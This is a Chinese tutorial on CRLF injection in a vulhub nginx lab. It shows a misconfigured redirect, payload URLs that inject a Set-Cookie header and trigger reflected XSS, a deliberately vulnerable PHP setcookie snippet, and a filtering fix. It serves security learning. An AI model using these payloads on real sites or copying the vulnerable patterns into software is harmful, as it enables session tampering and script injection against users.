目录
漏洞原理
CRLF注入漏洞又称HTTP响应拆分漏洞(HTTP Response Splitting),攻击方式是将回车符、换行符注入到HTTP的响应包中。
HTTP响应包通常以两个换行符,去划分响应头与响应正文两个部分。当用户的操作足以控制响应头的内容时,将会出现CRLF漏洞。
换行符、回车符
- 回车符(CR,ASCII 13,\r,%0d)
- 换行符(LF,ASCII 10,\n,%0a)
漏洞环境搭建
利用docker搭建vulhub靶场,进入/vulhub/nginx/insecure-configuration
目录
启动镜像:
docker-compose up -d
8080端口是crlf漏洞靶场
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
漏洞利用讲解
修改会话值
Payload:http://your-ip:8080/%0a%0dSet-Cookie:%20a=1
,可注入Set-Cookie头。
其他漏洞
由于这个靶场只能修改Location url后的值,不能进行其他漏洞的演示。这里只能简单讲解其他漏洞的利用。
漏洞源码:
<?php
$test = $_POST['setcookie'];
if(isset($test)){
setcookie($test);
}
?>
反射形xss
当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射行xss
payload:
http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script>
响应包:
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
set-cookie:
X-XSS-Protection: 0
<script>alert('xss')</script>
漏洞加固
过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。
参考链接
CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)